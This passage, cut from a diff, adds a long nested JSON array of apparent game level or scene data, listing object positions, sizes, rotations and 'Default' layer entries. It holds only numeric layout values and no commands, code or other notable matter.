+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.248291015625,
+ 898.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4255,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2984.248291015625,
+ 898.0031127929688,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4256,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3075.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4257,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3167.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4258,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3259.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4259,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3351.38671875,
+ 991.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4260,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3443.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4261,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3535.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4262,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3627.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4263,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719.38671875,
+ 992.934326171875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4264,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3811.335205078125,
+ 898.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4265,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3903.335205078125,
+ 899.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4266,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995.335205078125,
+ 899.1912841796875,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4267,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4274,
+ 681,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4268,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4366,
+ 682,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4269,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 685,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4272,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 757,
+ 625,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4297,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 976,
+ 828,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4298,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1458,
+ 644,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4299,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1865,
+ 380,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4300,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2399,
+ 618,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4301,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2893,
+ 807,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4302,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3717,
+ 429,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4303,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3715,
+ 365,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4304,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3997,
+ 435,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4305,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3995,
+ 371,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4306,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3411,
+ 748,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4307,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4592,
+ 469,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4308,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4829,
+ 564,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4309,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5088,
+ 469,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 4310,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 171,
+ 927.5,
+ 0,
+ 372,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4311,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 948,
+ 1022,
+ 0,
+ 1206,
+ 188,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4312,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1367,
+ 1021,
+ 0,
+ 368,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4313,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1458.531982421875,
+ 927.2275390625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4314,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1864.2265625,
+ 800.434814453125,
+ 0,
+ 366,
+ 565.1304321289062,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4317,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2401,
+ 872.6763916015625,
+ 0,
+ 276,
+ 372.6472778320313,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4318,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2892.5,
+ 1041,
+ 0,
+ 277,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4319,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3495,
+ 1088.5,
+ 0,
+ 1093,
+ 277,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4320,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3904,
+ 1044,
+ 0,
+ 277,
+ 372,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4321,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4320.5,
+ 874,
+ 0,
+ 184,
+ 468,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4322,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4830,
+ 668,
+ 0,
+ 93,
+ 50,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4324,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5340,
+ 877.5,
+ 0,
+ 157,
+ 477,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4326,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1665.477416992188,
+ 726.0426025390625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0.5410520434379578,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4327,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2139.71044921875,
+ 706.555908203125,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 2.234021425247192,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4328,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2630.9501953125,
+ 875.760498046875,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 2.234021425247192,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4329,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3718,
+ 530.5,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4330,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3996,
+ 531,
+ 0,
+ 93,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4331,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4164.05712890625,
+ 853.2183837890625,
+ 0,
+ 183.546630859375,
+ 378,
+ 0,
+ 0.7853981852531433,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 4332,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 405,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4333,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 32,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4334,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1157,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4335,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 784,
+ 963,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4336,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1908.776489257813,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4337,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1535.776489257813,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4338,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2660.7763671875,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4339,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2287.7763671875,
+ 962.9671630859375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4340,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3412.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4341,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3039.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4342,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4164.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4343,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3791.899658203125,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4344,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4915.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4345,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4542.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 4346,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5667.8994140625,
+ 962.6839599609375,
+ 0,
+ 384,
+ 137,
